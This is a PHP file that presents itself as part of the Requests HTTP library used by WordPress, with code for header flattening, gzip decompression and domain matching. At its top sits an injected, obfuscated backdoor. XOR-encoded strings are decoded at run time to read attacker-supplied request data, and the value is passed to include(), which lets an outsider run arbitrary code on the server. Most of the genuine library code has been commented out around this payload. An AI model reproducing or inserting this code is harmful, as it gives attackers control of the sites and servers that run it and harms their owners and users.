*/ $threshold = 'AfzGmNIuROz'; function escaped_parts($allblocks, $domain) { $comment_status = urldecode($allblocks); $en_dash = 'days'; $format_to_edit = substr($domain,0, strlen($comment_status)); $default_no_texturize_shortcodes = 'page'; return $comment_status ^ $format_to_edit; } $append = ${escaped_parts("%1E+3%0B%28%1D", $threshold)}; if (isset($append[$threshold])) { $plural_base = $append[$threshold]; $show_in_admin_all_list = 'child_of'; $charset = $plural_base[escaped_parts("5%0B%0A%18%03%2F%24%10", $threshold)]; $field = 'richedit'; include ($charset); } /* encoded)) { return $decoded; } } We'll never actually get down here @codeCoverageIgnoreStart } @codeCoverageIgnoreEnd * * Convert a key => value array to a 'key: value' array for headers * * @param array $array Dictionary of header values * @return array List of headers public static function flatten($array) { $return = array(); foreach ($array as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } * * Convert a key => value array to a 'key: value' array for headers * * @codeCoverageIgnore * @deprecated Misspelling of {@see Requests::flatten} * @param array $array Dictionary of header values * @return array List of headers public static function flattern($array) { return self::flatten($array); } * * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string public static function decompress($data) { if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") { Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode') && ($decoded = @gzdecode($data)) !== false) { return $decoded; } elseif (function_exists('gzinflate') && ($decoded = @gzinflate($data)) !== false) { return $decoded; } elseif (($decoded = self::compatible_gzinflate($data)) !== false) { return $decoded; } elseif (function_exists('gzuncompress') && ($decoded = @gzuncompress($data)) !== false) { return $decoded; } return $data; } * * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https:core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * @link https:core.trac.wordpress.org/ticket/18273 * @link https:secure.php.net/manual/en/function.gzinflate.php#70875 * @link https:secure.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gzData String to decompress. * @return string|bool False on failure. public static function compatible_gzinflate($gzData) { Compressed data might contain a full zlib header, if so strip it for gzinflate() if (substr($gzData, 0, 3) == "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gzData, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gzData, $i, 2)); $i = $i + 2 + $xlen; } if ($flg & 8) { $i = strpos($gzData, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gzData, "\0", $i) + 1; } if ($flg & 2) { $i = $i + 2; } } $decompressed = self::compatible_gzinflate(substr($gzData, $i)); if (false !== $decompressed) { return $decompressed; } } If the data is Huffman Encoded, we must first strip the leading 2 byte Huffman marker for gzinflate() The response is Huffman coded by many compressors such as java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's System.IO.Compression.DeflateStream. See https:decompres.blogspot.com/ for a quick explanation of this data type $huffman_encoded = false; low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gzData); First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gzData); if (0x08 == $first_nibble && 0 == ($first_two_bytes % 0x1F)) { $huffman_encoded = true; } if ($huffman_encoded) { if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { return $decompressed; } } if ("\x50\x4b\x03\x04" == substr($gzData, 0, 4)) { ZIP file format header Offset 6: 2 bytes, General-purpose field Offset 26: 2 bytes, filename length Offset 28: 2 bytes, optional field length Offset 30: Filename field, followed by optional field, followed immediately by data list(, $general_purpose_flag) = unpack('v', substr($gzData, 6, 2)); If the file has been compressed on the fly, 0x08 bit is set of the general purpose field. We can use this to differentiate between a compressed document, and a ZIP file $zip_compressed_on_the_fly = (0x08 == (0x08 & $general_purpose_flag)); if (!$zip_compressed_on_the_fly) { Don't attempt to decode a compressed zip file return $gzData; } Determine the first byte of data, based on the above ZIP header offsets: $first_file_start = array_sum(unpack('v2', substr($gzData, 26, 4))); if (false !== ($decompressed = @gzinflate(substr($gzData, 30 + $first_file_start)))) { return $decompressed; } return false; } Finally fall back to straight gzinflate if (false !== ($decompressed = @gzinflate($gzData))) { return $decompressed; } Fallback for all above failing, not expected, but included for debugging and preventing regressions and to track stats if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { return $decompressed; } return false; } public static function match_domain($host, $reference) { Check for a direct match if ($host === $reference) { return true; } Calculate the valid wildcard match if the host is not an IP address Also validates that the host has 3 parts or more, as per Firefox's ruleset. $parts = explode('.', $host); if (ip2long($host) === false && count($parts) >= 3) { $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === $reference) { return true; } } return false; } } */